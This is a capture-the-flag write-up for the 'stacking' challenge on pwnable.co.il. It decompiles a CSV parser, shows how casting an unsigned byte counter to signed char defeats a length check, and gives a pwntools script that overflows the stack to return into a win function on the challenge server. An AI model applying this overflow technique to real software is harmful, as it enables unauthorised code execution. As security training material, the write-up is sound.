pwnable.co.il - stacking

4 minute read

Challenge description:

CSV is the best way to store data. Wanna prove me wrong?

  • Note: A CSV (Comma-Separated Values) is a format of values that are typically stored in plain text, where each value is separated by a comma. Each line in a CSV file usually represents a row, and the values in each row represent fields or columns. This format is widely used for data exchange, such as exporting data from spreadsheets, databases, or for simple data storage, due to its simplicity and readability. more info

Since the challenge is called “stacking,” I assumed it would be stack-based. To investigate further, I opened the provided ELF file in my gef debugger.

Here, you can see all the static function symbols provided by the ELF file:

static symbols

Among the functions there’s an interesting one called win which might be our target in this challenge, but now let’s dig into the main function. To make it easier, I’ll use hex-rays decompiler to convert the code into C:

int __fastcall main(int argc, const char **argv, const char **envp) {
  void *csv_str; // rsi

  init_buffering(argc, argv, envp);
  puts("Welcome to my data parser!");
  puts("Please enter your comma-separated data: ");
  csv_str = malloc(0x100uLL); // allocate 256 bytes for `csv_str`
  read(0, csv_str, 0x100uLL);
  parse_data(csv_str); // interesting function
  
  return 0;
}

Everything here looks fine, and there’s no obvious vulnerability in this code. However, we can see another interesting function that uses in that code called parse_data. So let’s dig into it to search for vulnerabilities! Again, I’ll use hex-rays decompiler to convert the code into C:

size_t __fastcall parse_data(const char *csv_str) {
  size_t tmp_ctr; // rbx
  size_t result; // rax
  char buffer[23]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int8 i; // [rsp+27h] [rbp-19h]
  int start_of_data; // [rsp+28h] [rbp-18h]
  int ctr; // [rsp+2Ch] [rbp-14h]

  ctr = -1; // counter of the csv string current char
  start_of_data = 0;
  do
  {
    memset(buffer, 0, 16);
    for ( i = 0; csv_str[++ctr] != ','; ++i ) // read data from the csv string until the next comma
    {
      if ( !csv_str[ctr] )
      {
        --i; // comma dont count as part of the data
        break;
      }
    }
    if ( (char)i > 16 ) // max data length is 16 (Note: Why it uses (char) casting?)
    {
      puts("Too big data");
      exit(1); 
    }
    memcpy(buffer, &csv_str[start_of_data], i); //copy data from `csv_str` into `buffer` in `i` length size
    start_of_data += i + 1; // add current data size plus one char (the comma) to set the start of next data string
    printf("Length: %d\n", i);
    printf("Data :%s\n", buffer);
    tmp_ctr = ctr;
    result = strlen(csv_str); 
  } while ( tmp_ctr < result ); // run until all the csv string is parsed
  
  return result;
}

This function processes a CSV string, It extracts and processes each value between commas. For each value, it checks if its length exceeds 16 characters and if it does it prints an error message and exits. Then it stores each value in a buffer s, prints the length of the value and also prints the value itself. The function continues parsing until all values in the CSV string are processed. Finally, it returns the total length of the input string.

The vuln - Casting unsigned __int8 to char

if ( (char)i > 16 ) {
  puts("Too big data");
  exit(1); 
}

Here, i is declared as unsigned __int8 meaning it can hold values from 0 to 255. However, casting it to char changes its interpretation to signed, where it can hold values from -128 to 127. As a result, when i is greater than 127, the cast causes it to wrap around into negative values. This bypasses the if if((char)i > 16){...} check because a negative value will always fail this condition, even though the actual value of i (in its original unsigned __int8 form) may still exceed 16.

This vulnerability allows us to provide CSV data with values longer than 16 characters, effectively overwriting the return address of the parse_data function stored on the stack. Using this, we can redirect the program to the win function.

Exploit

To exploit this vuln we create a payload that:

  1. Bypasses the length check using the signed/unsigned casting vuln.
  2. Overflows the buffer to overwrite the ret address of the parse_data function.
  3. Redirects the execution to the win function.
    • Note: in some cases the stack may be misaligned, causing issues when returning to a function like win. This happens because the stack pointer is not aligned to a 16-byte boundary, which is required by the x86-64 System V ABI. To fix this, we use a ret-gadget first, which will realign the stack to the correct boundary.
from pwn import *

# Connect to remote server
conn = remote('pwnable.co.il', 9009)

# Functions symbols & Gadgets 
ret = p64(0x0000000000401479)
win = p64(0x00000000004012e5)

# Create paylod
padding = b'\x00' * 56
paylod = padding + ret + win

# Sending paylod to remote server
conn.sendline(paylod)
conn.interactive()